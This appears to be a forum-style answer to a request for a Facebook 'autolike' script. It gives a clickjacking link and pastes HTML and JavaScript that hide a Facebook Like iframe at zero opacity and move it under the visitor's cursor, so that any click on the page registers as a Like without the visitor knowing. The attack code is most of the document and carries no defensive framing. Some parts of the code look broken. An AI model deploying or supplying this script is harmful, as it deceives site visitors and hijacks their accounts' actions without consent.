Is there any FB autolike script when someone visits my Site?

http://fernandomagro.com/programming/facebook-clickjacking-howto/

<div style="overflow: hidden;border:2px;height:80px;width:80px;position:absolute;filter:alpha(opacity=0); -moz-opacity:0.0; -khtmk-opacity:0.0;opacity:0.0" id=icontainer>
			<iframe src="http://www.facebook.com/plugins/like.php?href=YOURFAN PAGE URL&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hiden; width:50px;height:23px;" allowTransparency="true" id="likee" name="likee"></iframe>
</div>
	
		<script language=javascript>
			
			var iflag=1;
			var like = document.getElementById('icontainer');
			var	IE = document.all ? true : false;
  
 			if (!IE) document.captureEvents(Event.MOUSEMOVE);
			
			window.addEventListener('mousemove', mouseMove, false);
  
 
  
  function mouseMove(e) {
  	if (iflag==1){
    if (IE) {
      tempX = event.clientX + document.body.scrollLeft;
      tempY = event.clientY + document.body.scrollTop;
    } else {
      tempX = e.pageX;
      tempY = e.pageY;
    }
    
    if (tempX < 0) tempX = 0;
    if (tempY < 0) tempY = 0;
    
    like.style.top = (tempY - 8) + 'px';
    like.style.left = (tempX - 25) + 'px';
    
    //iflag=0;
   
  }
    return true
  }
	
	function simulateMouseDown(theelement){
   var eventName = 'mousedown';
   if(theelement.dispatchEvent){
      var event = document.createEvent("MouseClick");
      event.initMouseEvent(eventName, true, true, window);
     // alert(theelement.dispatchEvent(event));
   }else if(theelement.fireEvent){ // IE7 and below
      theelement.fireEvent('on'+eventName);
   }
};
 
	
		</script>